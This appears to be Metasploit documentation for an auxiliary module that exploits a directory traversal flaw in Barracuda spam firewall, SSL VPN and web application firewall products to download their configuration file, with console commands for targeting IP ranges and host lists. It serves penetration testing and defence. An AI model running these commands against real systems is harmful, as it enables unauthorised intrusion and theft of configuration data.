This module exploits a directory traversal vulnerability present in several Barracuda products, including the Barracuda Spam and Virus Firewall, Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default, this module will attempt to download the Barracuda configuration file.

Module Ranking and Traits

---

Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

---

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/barracuda_directory_traversal
msf auxiliary(barracuda_directory_traversal) > show options
    ... show and set options ...
msf auxiliary(barracuda_directory_traversal) > set RHOSTS ip-range
msf auxiliary(barracuda_directory_traversal) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(barracuda_directory_traversal) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(barracuda_directory_traversal) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(barracuda_directory_traversal) > set RHOSTS file:/tmp/ip_list.txt

Required Options

---

• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
